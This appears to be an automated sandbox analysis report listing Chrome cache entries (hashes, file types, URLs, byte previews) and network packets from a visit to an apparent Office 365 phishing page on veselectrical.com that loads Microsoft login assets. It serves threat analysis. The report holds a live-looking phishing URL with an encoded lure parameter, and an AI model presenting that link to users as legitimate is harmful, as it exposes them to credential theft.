SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 60

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	4.214613323368661
Encrypted:	false
SSDEEP:	24:t4pb8W1baAcycV1i21AL5Xr/fJzWTtDYnpTyuwa+BDhMXeDFF6+/OKgXOgWKZsHz:zdyb2+jfJz+sFyN3BdMeFF52KgeTksHz
MD5:	F7AB697E65B83CE9870A4736085DEEEC
SHA1:	5FF40BFF26B523FBBEAA5228A2AAC63E44AFAA90
SHA-256:	CBB3706E65B35A43BDCFEBD23B5479DC0542CA7E23197869B683D12B524472FE
SHA-512:	158874143CE65485348813431BB585227772F315234E08158A329DF98319AA5F1DB21DEF2AD7CAA5C25AD11660E7D4E05158CFA1198913A33B1B91676C4CA402
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a2.55,2.55,0,0,1-.562.188,2.423,2.423,0,0,1-.3.07q-.141.023-.281.055V20.266q.422-.125.813-.281t.766-.344a8.253,8.253,0,0,0,1.344-.844h1.313m4.531,8.234h4.156v1.8H19.859v-.75a3.292,3.292,0,0,1,.25-1.344,4.183,4.183,0,0,1,.625-1.078,5.7,5.7,0,0,1,.844-.828q.219-.187.438-.352t.422-.32q.453-.312.766-.578a2.593,2.593,0,0,0,.3-.281l.25-.281a3.148,3.148,0,0,0,.328-.562,1.59,1.59,0,0,0,.109-.609,1.176,1.176,0,0,0-.359-.937,1.552,1.552,0,0,0-1.078-.328,3.625,3.625,0,0,0-2.422,1V19.688a4.866,4.866,0,0,1,1.359-.625,5.548,5.548,0,0,1,1.516-.2,4.456,4.456,0,0,1,1.344.188,2.461,2.461,0,0,1,1,.563,2.242,2.242,0,0,1,.625.875,3.007,3.007,0,0,1,.219,1.156,3.538,3.538,0,0,1-.055.641,3.7,3.7,0,0,1-.148.563,3.439,3.439,0,0,1-.562.953,7.2,7.2,0,0,1-.8.8q-.21

Chrome Cache Entry: 61

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1], baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	628
Entropy (8bit):	6.109715923245502
Encrypted:	false
SSDEEP:	12:Idxymwwl8/Xw1MSV8fz9gWlp9juOJU6eEOJaeoFHT8BRkNoUQefSUW:yGwi/wOSKRdZjzJU6eDUcMoFexW
MD5:	4D2E8B326C14411F04800B005AC3F4BF
SHA1:	D5B6C1F75560DD35C8F92B573ABA1B7B6A63CF0F
SHA-256:	E65388FC42F62C67E201FCEBE01136A827152DBA608484AB37FD3B79CCDF9DF2
SHA-512:	4DE45A94AC9136682BEA2EE3E8698EE7D4A5757BAF90E41084D10E2C580005D6D7B992588A314DC075BD4F5CD2760E17D196B54D98B7E24B08A17C364943598A
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....LExif..MM.*.......i...................................................X.......C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...... . .."....................................(...........................!1A...."Qa.............................................................?..z.....}j.`..f8...r.......aS......Fe6T...Ai.....?).{......$..8...e.....o[. ..zV]2...Q.%.%Mz+._......J.N....S/A...9d..S2.........{.... .....cV.7Y.;.k..C...Xq.[QJ.G....$~!3..].G.s.C....Iq.IAeEGh..B..E.n.v.\|.I..$9"\...u..)D..$..JK..

Chrome Cache Entry: 62

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	52
Entropy (8bit):	4.190260390968384
Encrypted:	false
SSDEEP:	3:OnuZoS+NT/ZoS8/ZYn:OnuZoSyT/ZoS8/ZYn
MD5:	09BDE5D10D92DEBBB74AE9C3DF3AECAB
SHA1:	2F4EEA05E85C26DE82C5E7CBA471687EC8D855EC
SHA-256:	F67F67274C88240DE01FA51D483271F58A5752B607B13DEE041C7A0671290E7F
SHA-512:	0FF4A460BC9068E61B6EEC0078E97F2AD0DCD12288E8161688351C3BB85A87D624E5B7635C47ED1B5B93C6D3B4A29A756A75A897394B4E6A3986BBB1762CFC6C
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQniqqclxAVfTxIFDZFhlU4SBQ01hlQcEgUNkWGVThIFDZFhlU4=?alt=proto
Preview:	CiQKBw2RYZVOGgAKBw01hlQcGgAKBw2RYZVOGgAKBw2RYZVOGgA=

Chrome Cache Entry: 63

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	downloaded
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 64

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	downloaded
Size (bytes):	23427
Entropy (8bit):	5.112735417225198
Encrypted:	false
SSDEEP:	384:1HHLO7eS0F4bBY/fn6jZcy9/cGK1q8CarY64Cb+dOy:1HHCLYXfl1q8CarY64Cb+dl
MD5:	BA0537E9574725096AF97C27D7E54F76
SHA1:	BD46B47D74D344F435B5805114559D45979762D5
SHA-256:	4A7611BC677873A0F87FE21727BC3A2A43F57A5DED3B10CE33A0F371A2E6030F
SHA-512:	FC43F1A6B95E1CE005A8EFCDB0D38DF8CC12189BEAC18099FD97C278D254D5DA4C24556BD06515D9D6CA495DDB630A052AEFC0BB73D6ED15DEBC0FB1E8E208E7
Malicious:	false
Reputation:	low
URL:	https://www.w3schools.com/w3css/4/w3.css
Preview:	./* W3.CSS 4.15 December 2020 by Jan Egil and Borge Refsnes /.html{box-sizing:border-box},:before,:after{box-sizing:inherit}./* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */.html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}.article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}.audio,canvas,progress,video{display:inline-block}progress{vertical-align:baseline}.audio:not([controls]){display:none;height:0}[hidden],template{display:none}.a{background-color:transparent}a:active,a:hover{outline-width:0}.abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}.b,strong{font-weight:bolder}dfn{font-style:italic}mark{background:#ff0;color:#000}.small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}.sub{bottom:-0.25em}sup{top:-0.5em}figure{margin:1em 40px}img{border-style:none}.code,kbd,p

Chrome Cache Entry: 65

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 66

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49854)
Category:	downloaded
Size (bytes):	49993
Entropy (8bit):	5.216475744251136
Encrypted:	false
SSDEEP:	768:RKrClF4PgzcEZ5G/Z4G9qXLZed86mhrjlm:RPXcZ4TLZzpPm
MD5:	777EB8FD4F8320B6E5CC9A7159BDEC6A
SHA1:	6B4032E88D0040182089FE3BEFDECEE9346E8921
SHA-256:	73EBA16BC895FDFA454E27ECB80DEF31EDE8D861F99E175FF93B110EABEC044F
SHA-512:	D75B7C43EBD8F49942AEBF8FBDE64A4D826AF27ECED3D6395FFA64FDA31DDEF26E812BEEE313AE9C6114CDA003A8BDC8F1C64A13FA41C3009F5F30E4449876B1
Malicious:	false
Reputation:	low
URL:	https://cdn.socket.io/4.7.5/socket.io.min.js
Preview:	/!. Socket.IO v4.7.5. * (c) 2014-2024 Guillermo Rauch. * Released under the MIT License.. */.!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).io=t()}(this,(function(){"use strict";function e(t){return e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e(t)}function t(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,(i=r.key,o=void 0,"symbol"==typeof(o=function(e,t){if("object"!=typeof e\|\|null===e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t\|\|"default");if("object"!=typeof r)return r;th

Chrome Cache Entry: 67

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65317)
Category:	downloaded
Size (bytes):	100782
Entropy (8bit):	4.782445110770722
Encrypted:	false
SSDEEP:	1536:mUMVM6MVMkMVM9MVMNMVMispLudL+P8Wcn0Fwib3ePyUHsE+z:hudL25cn0FfePyUME+z
MD5:	6386FB409D4A2ABC96EEE7BE8F6D4CC4
SHA1:	09102CFC60EFB430A25EE97CEE9A6A35DF6DFC59
SHA-256:	0DF5A33710E433DE1F5415B1D47E4130CA7466AEE5B81955F1045C4844BBB3ED
SHA-512:	29F91FC180EC2E4225C10A7A2C59E5F3335D2C6C6EF58000D50BF020D92CE0F85C125412BEA73254B2C3F5A3215DDD77B908E85ED10A368B0E59A66A5E07A5D2
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css
Preview:	/!. Font Awesome Free 6.1.1 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). * Copyright 2022 Fonticons, Inc.. */..fa{font-family:var(--fa-style-family,"Font Awesome 6 Free");font-weight:var(--fa-style,900)}.fa,.fa-brands,.fa-duotone,.fa-light,.fa-regular,.fa-solid,.fa-thin,.fab,.fad,.fal,.far,.fas,.fat{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-2xs{font-size:.625em;line-height:.1em;vertical-align:.225em}.fa-xs{font-size:.75em;line-height:.08333em;vertical-align:.125em}.fa-sm{font-size:.875em;line-height:.07143em;vertical-align:.05357em

Chrome Cache Entry: 68

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 154228, version 769.768
Category:	downloaded
Size (bytes):	154228
Entropy (8bit):	7.996770916751852
Encrypted:	true
SSDEEP:	3072:1s6054PmrMMxqMo/sE4yN1JWxUY+qI2kqdYt2B1dqchgjwQ:W68io3G5JYktDt62b
MD5:	55B416A8DF21F9F987AA352F10D1343B
SHA1:	2717F3F58271F2F2E6120D9937C7227002656D34
SHA-256:	D76FB4E841748A3F6BC63EFA23156E02631C283BF41F84EFCBDAF339EA3E1B73
SHA-512:	7C4983811EBA2AE80998C62C0EB48CC53EEC26E3CA4222D5CF0A758A5EA92E6A14DCFED4FE5B7EF5513F89BE2C0F336D0131687FA3EDDCBD4BB218BBD6BEB985
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/webfonts/fa-solid-900.woff2
Preview:	wOF2......Zt.......(..Z).........................8.$. .`..(...@..(.,..p. .....Hp......aD.f.O..q....@UUUU....l......G?../~.....O.................O......l...x}~.....=...N.'........Gu@..p1.G.....f,.*..V<[..W..U.W#......@....."[.D.8....L..7I......O.{v....E.bQY..B.P+F..)...?......<....e...4.X...H.`tA...@.@.v........GT.~!].....VV7..L.&.D..p.\G..~g.....^....ew.kT..3........pa.......W....A7..`.t/I;.3-K.vdK....D.m.ds.....A...b...#.?...G.O.m..=.....ux.:..gr.......3...v..t.{.p.x..@H..$.B#.H.....4rB.>..........'..8.......pj.<.h4..g..q,Y...Nb[.....ms.^L.0...]}....~.'....w?a>.9?.........H.O.fF#i4....L..;..4q...7a.m.m...R..3.\.v...b.....]B/Aex......lo.f..e .!.@X5....wb...q....=QL..R.._.............EE.W..._..Z.K...q.....2..........`..6..C...jj..#&A=@.>^..N.2.3....P.....t....Y.i..T..LN2..:x.V\..Z.7../1\|.x.V..~......=3.!...y...lz.O..<.dgCR4.A....8.p.aq...h.....6.>.e:...NQ.h....L.G2.V[.f...Ai.=+..+ ...'l..i.+C.t)s.(j...WZ_:..\9.Y..U.]......A.y..9........\xf.;.

Chrome Cache Entry: 69

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 371
Category:	downloaded
Size (bytes):	301
Entropy (8bit):	7.188080173378611
Encrypted:	false
SSDEEP:	6:XtU9dur4BCBpDZVnyLgLkzUS2iZHnNzcVink8qVyb7E8xNvFfH61u:XCd+H/L926YOK7txNNig
MD5:	B32527C71832E6477974EAF87FFCD815
SHA1:	77C8CFE01D3ED749BF70BC755766B144AFDF6E21
SHA-256:	32C22E5F4909950DF238B98E0E5A76B10217D3C6EDE2128B75B41019334C1676
SHA-512:	7A837FDBBE867BA2FED6906509AB8232F030C4F02C7966ED6301A39F17A6BBF4834EFA47A893FC01D65AF8D16E3A7C1B16C813F4C875138008251A1136064FCE
Malicious:	false
Reputation:	low
URL:	https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]
Preview:	..........U..R.0...<E\e.H..Cu.3.R.-.2..8...RCR....^..8z7.;.{.9.}1......JUQ...$.P..R..#......:.G....7....z...Cp )...w.<{..&..0g.1..y.9.h.. ;..H....w...3%O?se....e..6+....0.....CY&.A...'...n......>.E.[....Y.c...p.>^_..t....'.N.V.. .\J.HA.....^B.Fg.m).l..y..I(.\|J.4i..k+....+...JP..s...

Chrome Cache Entry: 70

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 121471
Category:	downloaded
Size (bytes):	22288
Entropy (8bit):	7.9812390437734315
Encrypted:	false
SSDEEP:	384:5V3c8ewFY9OQrszFHp6YXODQICHRVZmJ+PFq0Rc2/zQStOP9bhRPs2:5CFyY9kXoenZmJ+Po4cozdOPxV
MD5:	0A60A1E02E6CB6B9CCDF18C67FAFE24E
SHA1:	030F2C35748BA2857DC334569D7F9D05F96CB403
SHA-256:	4A329C8924ED195A669D93C01AA6BF07FFAC2BAA7780FA37F35C1435915025F2
SHA-512:	8C12DED10455AE50DA722F9E88909A9EF0B87AA4ADEC77BAE8C9A52BDE2F2196F1C428E637FDB7CBF7FAFCCA35C9ECD37FAD8116CE07D5CD72EA45DBAC515FFA
Malicious:	false
Reputation:	low
URL:	https://veselectrical.com/m/jsv.js
Preview:	.............7.-....4.o.9.-..b.#nj.NQ..VO/V..<".D.h...ue6..I....e.......Z(dT...."3.8....9E....;O.yo<:zt....Xpm\t.d2....._._)(~....cY.....0..................-/t.u.h...t...A...@.....x.e..n..........[.....+c.>I...&<.5jL.s0.....dq...p........i.D.Nz.YF&..1)......G.z$.M...b=+].G~.l....Ek?YQxj,h..t.B.F.M..P.....9k./.D.."n....._.}......ao.{..G...\..[?.%..Kj..jZr..E....q.2..[.Y..Tl........o.] ...z.c$.... ....p..;u.X.-.sn....h@.I.G.....z..8.exD.~f)s..VSX6.m.."..}r.gn..t<..........X/..r......P.:}.W<..y...[..m^...../?:.<GF.[...1..Z......Q..G....;:^,...E.A.@...T.....p.zf..".i=...VJ.-.y.....k...H.9...)..<....m....H.3....~..u&(....g.#t.V.,./.g.N.]...%p..... %[..s.w..&t.s."-.%.....Q.D...4v...&.0.D.....4...a$F....x)......9g..;....-.9M.uo..............u.)><.nC.o8+(..j.]f.b8..e..... ......c.0...B..[..%....p...{..[...9..9R$...].,8..o.%..7e!..6.A.E...*..S.&..2._....w.......^.....Pr.b.]..N..(..G.F...m/..(.....em...O..^A...M:j.d.{..]......5..N&..U.U...H.

Chrome Cache Entry: 71

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Reputation:	low
URL:	https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 72

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1], baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	628
Entropy (8bit):	6.109715923245502
Encrypted:	false
SSDEEP:	12:Idxymwwl8/Xw1MSV8fz9gWlp9juOJU6eEOJaeoFHT8BRkNoUQefSUW:yGwi/wOSKRdZjzJU6eDUcMoFexW
MD5:	4D2E8B326C14411F04800B005AC3F4BF
SHA1:	D5B6C1F75560DD35C8F92B573ABA1B7B6A63CF0F
SHA-256:	E65388FC42F62C67E201FCEBE01136A827152DBA608484AB37FD3B79CCDF9DF2
SHA-512:	4DE45A94AC9136682BEA2EE3E8698EE7D4A5757BAF90E41084D10E2C580005D6D7B992588A314DC075BD4F5CD2760E17D196B54D98B7E24B08A17C364943598A
Malicious:	false
Reputation:	low
URL:	https://veselectrical.com/wp-content/uploads/2023/02/cropped-381910826007-32x32.jpg
Preview:	......JFIF.....H.H.....LExif..MM.*.......i...................................................X.......C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...... . .."....................................(...........................!1A...."Qa.............................................................?..z.....}j.`..f8...r.......aS......Fe6T...Ai.....?).{......$..8...e.....o[. ..zV]2...Q.%.%Mz+._......J.N....S/A...9d..S2.........{.... .....cV.7Y.;.k..C...Xq.[QJ.G....$~!3..].G.s.C....Iq.IAeEGh..B..E.n.v.\|.I..$9"\...u..)D..$..JK..

Chrome Cache Entry: 73

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 74

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 00:01:15.013546944 CET	49675	443	192.168.2.4	173.222.162.32
Nov 19, 2024 00:01:18.789073944 CET	49735	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:18.789132118 CET	49736	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:18.789194107 CET	443	49735	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:18.789258003 CET	443	49736	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:18.789371967 CET	49735	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:18.789609909 CET	49736	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:18.789609909 CET	49736	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:18.789719105 CET	443	49736	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:18.789803982 CET	49735	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:18.789844990 CET	443	49735	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:19.419754028 CET	443	49735	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:19.420166969 CET	49735	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.420233965 CET	443	49735	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:19.421936989 CET	443	49735	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:19.422027111 CET	49735	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.423671007 CET	49735	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.423768997 CET	443	49735	104.20.6.133	192.168.2.4
Nov 19, 2024 00:01:19.423887014 CET	49735	443	192.168.2.4	104.20.6.133
Nov 19, 2024 00:01:19.423907042 CET	443	49735	104.20.6.133	192.168.2.4
